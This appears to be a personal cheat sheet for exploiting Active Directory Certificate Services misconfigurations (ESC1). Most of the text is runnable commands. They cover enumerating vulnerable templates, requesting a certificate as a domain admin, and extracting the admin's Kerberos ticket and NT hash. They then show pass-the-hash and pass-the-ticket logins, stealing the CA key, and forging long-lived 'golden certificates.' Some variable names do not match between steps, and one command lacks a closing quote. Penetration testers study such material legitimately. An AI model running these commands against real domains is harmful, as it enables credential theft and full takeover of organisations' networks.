These are some scribbles if I ever need to look up how to exploit AD CS misconfigurations, such as ESC1. I might expand on this later…​

ℹ️
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity.

Environment

For this article, we’re assuming the following environment (change accordingly):

user $ echo $SHELL
/usr/bin/fish

user $ which certipy  # https://github.com/ly4k/Certipy
/usr/bin/certipy
user $ which ldapsearch
/usr/bin/ldapsearch
user $ which smbclient.py  # https://github.com/fortra/impacket
/usr/bin/smbclient.py
user $ which ewp  # https://github.com/adityatelange/evil-winrm-py
/usr/bin/ewp
user $ which nxc  # https://github.com/Pennyw0rth/NetExec
/usr/bin/nxc

user $ set win_domain corp.local

user $ set dc_fqdn dc01.{$win_domain}
user $ set dc_ip (dig +short dc01.corp.local)

user $ set ca_fqdn ca01.{$win_domain}
user $ set ca_ip (dig +short ca01.corp.local)
user $ set ca_name CORPROOTCA
user $ set esc1_template_name CorpAuth

user $ set regular_user_account gijsbert
user $ set privileged_user_account wilbert

Enum

Enum AD CS vulnerabilities:

user $ certipy find -u {$regular_user_account} -p "$regular_user_passwd" -dc-ip {$dc_ip} -vulnerable -stdout

Exploiting ESC1

ℹ️
Further mitigations by Microsoft now also demand including the RID (i.e. setting -user-id, when using Impacket’s ticketer.py) of the privileged user you want to create the ticket for (e.g. domain admin). You can lookup the RID in the secretsdump.py output (e.g. corp.local\wilbert:1108:xxx[…​]xxx:xxx[…​]xxx:::, where 1108 is the RID), or via LDAP (e.g. using ldapsearch, as will be discussed).

Get the domain SID:

user $ lookupsid.py "$win_domain/$regular_user_account:$regular_user_passwd@$dc_ip" 0

Also retrieve and the privileged user’s RID (e.g. from the secretsdump.py output). Or, lookup the domain SID and privileged user’s RID via ldapsearch:

user $ ldapsearch -x -D {$regular_user_account}@{$win_domain} -w "$regular_user_passwd" -b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) -s sub "sAMAccountName=$privileged_user_account" -H ldap://{$dc_ip} ObjectSID
Then convert the base64 SID, e.g. by using a script (click to expand/collapse)
#!/usr/bin/env fish

# This is a Fish port of https://serverfault.com/a/852338

# Read Base-64 encoded objectSid from first argument
set -l OBJECT_ID $argv[1]

# Decode it, hex-dump it and store it in an array
set -l G (echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 "%02X\n"')

# SID in HEX
# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}

# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
# LESA = Little Endian Sub Authority
# BESA = Big Endian Sub Authority
# LERID = Little Endian Relative ID
# BERID = Big Endian Relative ID

set -l BESA2 "$G[9]$G[10]$G[11]$G[12]"
set -l BESA3 "$G[13]$G[14]$G[15]$G[16]"
set -l BESA4 "$G[17]$G[18]$G[19]$G[20]"
set -l BESA5 "$G[21]$G[22]$G[23]$G[24]"
set -l BERID "$G[25]$G[26]$G[27]$G[28]"

# Compact LE reordering patterns
set -l U32 '^(.{2})(.{2})(.{2})(.{2})$' # 4 bytes (8 hex)

set -l LESA1 "$G[3]$G[4]$G[5]$G[6]$G[7]$G[8]"
set -l LESA2 (string replace -r $U32 '\4\3\2\1' $BESA2)
set -l LESA3 (string replace -r $U32 '\4\3\2\1' $BESA3)
set -l LESA4 (string replace -r $U32 '\4\3\2\1' $BESA4)
set -l LESA5 (string replace -r $U32 '\4\3\2\1' $BESA5)
set -l LERID (string replace -r $U32 '\4\3\2\1' $BERID)

set -l LE_SID_HEX "$LESA1-$LESA2-$LESA3-$LESA4-$LESA5-$LERID"

# Initial SID value which is used to construct actual SID
set -l SID "S-1"

# Convert LE_SID_HEX to decimal values and append it to SID as a string
for OBJECT in (string split -- '-' $LE_SID_HEX)
    test -n "$OBJECT"; and set SID "$SID-"(printf "%d" 0x$OBJECT)
end

echo $SID

Then run the script, appending the objectSid:

user $ fish ./sid.fish AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx

Or even combine in a single command like so:

$ fish ./sid.fish (ldapsearch -x -D {$regular_user_account}@{$win_domain} \
          -w "$regular_user_passwd" \
          -b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
          -s sub "sAMAccountName=$privileged_user_account" \
          -H ldap://{$dc_ip} ObjectSID | grep objectSid | cut -d " " -f 2)
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx

The RID is that array of numbers of the string (e.g. that last xxxx), and the domain SID is everything up to that last part (e.g. S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx).

 

Set the SID and RID accordingly:

user $ set privileged_user_rid xxxx
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx

Requesting a certificate for another (higher privileged) account:

user $ certipy req \
           -u {$regular_user_account} \
           -p "$regular_user_passwd" \
           -dc-ip {$dc_ip} \
           -target {$dc_fqdn} \
           -ca {$adcs_ca} \
           -template {$adcs_vuln_template} \
           -upn {$privileged_user_account}@{$win_domain} \
           -sid {$win_domain_sid}-{$privileged_user_rid}
user $ certipy auth \
           -pfx ~/demo/{$privileged_user_account}.pfx \
           -domain {$win_domain} \
           -dc-ip {$dc_ip}

The above should also retrieve a valid Kerberos Ticket (ccache file), and password hash of the targeted account.

user $ set privileged_user_hash xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
user $ export KRB5CCNAME={$privileged_user_account}.ccache
user $ klist

Try logging in with the NTHash (PtH; less stealthy):

user $ ewp -i {$dc_ip} -u {$privileged_user_account} -H {$privileged_user_hash}

Try logging in with the Kerberos Ticket (PtT):

user $ nxc wmi {$dc_ip} --use-kcache --kdcHost {$dc_ip} -x whoami
user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} \
           {$win_domain}/{$privileged_user_account}@{$dc_fqdn}

Golden Certificates

golden certificate

If you managed to take over a domain admin you can also backup (steal) the CA root / subordinate certificate. This will allow you to forge long-lived (possibly decades, depending on the CA certificate’s validity) certificates without needing to manually request them from the CA:

user $ certipy ca \
           -backup \
           -ca {$adcs_ca} \
           -username {$privileged_user_account} \
           -target-ip {$dc_ip} \
           -hashes {$privileged_user_hash}

Retrieve and set the CRL URI:

user $ openssl pkcs12 \
           -in ~/demo/{$privileged_user_account}.pfx \
           -info -nokeys -clcerts 2>/dev/null | \
           sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' | \
           openssl x509 -text -noout
user $ set adcs_crl 'ldap:///CN=CORPROOTCA,CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint'

Forge a certificate:

user $ certipy forge \
           -ca-pfx {$adcs_ca}.pfx \
           -upn {$privileged_user_account}@{$win_domain} \
           -sid {$win_domain_sid}-{$privileged_user_rid} \
           -crl 'ldap:///CN=CORPROOTCA,CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint

Abuse the forge certificate:

user $ certipy auth \
           -pfx {$privileged_user_account}_forged.pfx \
           -domain {$win_domain} \
           -dc-ip {$dc_ip}

From here you can try logging in using PtH / PtT as previously described.